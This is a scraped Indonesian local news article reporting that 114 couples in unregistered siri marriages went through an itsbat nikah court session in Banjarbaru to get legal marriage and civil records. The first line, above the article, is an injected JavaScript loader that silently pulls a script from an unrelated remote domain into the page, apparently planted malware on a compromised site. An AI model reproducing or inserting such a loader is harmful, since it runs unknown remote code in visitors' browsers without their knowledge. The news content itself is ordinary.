(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ratusan pasangan suami istri (Pasutri) yang telah melangsungkan nikah siri mengikuti sidang itsbat nikah di GOR Rudy Resnawan Banjarbaru, Senin (22/8/2022).
Mereka mengikuti sidang itsbat nikah ini untuk mencatatkan pernikahan sesuai aturan hukum hukum negara.
Karena selama ini ratusan pasutri tersebut belum memiliki dokumen pernikahan yang sah secara hukum negara.
Baca juga: Gotong-royong Bersihkan Kawasan Wisata Pulau Telo
Ketua Pengadilan Agama Kota Banjarbaru, Muhammad Najmi Fajri mengatakan, kegiatan sidang itsbat nikah ini merupakan kolaborasi Pengadilan Agama Banjarbaru dan Dinas Kependudukan dan Pencatatan Sipil Kota Banjarbaru.
“Pasutri kita itsbatkan hari ini ada 114 pasangan,” ujarnya.
Dari 114 pasutri, dikatakan Najmi, terbanyak yang melakukan sidang itsbat dari Kecamatan Cempaka sebanyak 52 pasangan, Kecamatan Landasan Ulin sebanyak 24 pasangan, Kecamatan Banjarbaru Utara sebanyak 16 pasangan, Kecamatan Banjarbaru Selatan sebanyak 13 pasangan dan Kecamatan Liang Anggang sebanyak 9 pasangan.
Ratusan pasangan suami istri (Pasutri) yang telah melangsungkan nikah siri mengikuti sidang itsbat nikah di GOR Rudy Resnawan Banjarbaru, Senin (22/8/2022). Foto: ibnu
Diakui Najmi, fenomena nikah siri di Banjarbaru seperti gunung es, masih banyak pasutri yang belum terdata secara hukum negara.
“Sangat banyak yang belum terdata hingga saat ini, yang terdata melaksanakan sidang hari ini merupakan pasutri yang memiliki kemauan untuk menyelesaikan kependudukan dan pencatatan pernikahannya,” akunya.
Masih kata Najmi, setelah pasutri melaksanalan sidang itsbat nikah, maka pasutri tersebut akan mendapatkan kartu tanda penduduk (KTP), kartu keluarga (KK) dan akta kelahiran anak.
Disebutkannya, dalam sidang itsbat nikah ini para pasutri ada yang melakukan secara gratis dan ada yang berbayar, tergantung kemampuan masing-masing pasutri tersebut.
Baca juga: Perpustakaan Palnam Siapkan Bibliografi Kalsel
Dijelaskan Najmi, sidang itsbat nikah ini merujuk pada Peraturan Mahkamah Agung Nomor 1 tahun 2015 yang melibatkan Kementerian Agama, Pengadilan Agama dan pemerintah daerah.
Sementara itu, salah satu pasutri yang melangsungkan sidang itsbat nikah, Irmayanti dan Ahyani mengaku mereka berdua sudah sejak tahun 2005 melangsungkan nikah siri tersebut.
“Tidak ada biaya mengurusnya, ikut sidang itsbat ini secara gratis,” ujarnya.
Irmayanti menuturkan dengan mengikuti sidang itsbat nikah ini, setidaknya mempermudah mereka dalam pengurusan data diri dan dokumen kependudukan.
“Senang, bisa mendapat data anak seperti akta kelahiran, untuk nikah anak nantinya,” tuturnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.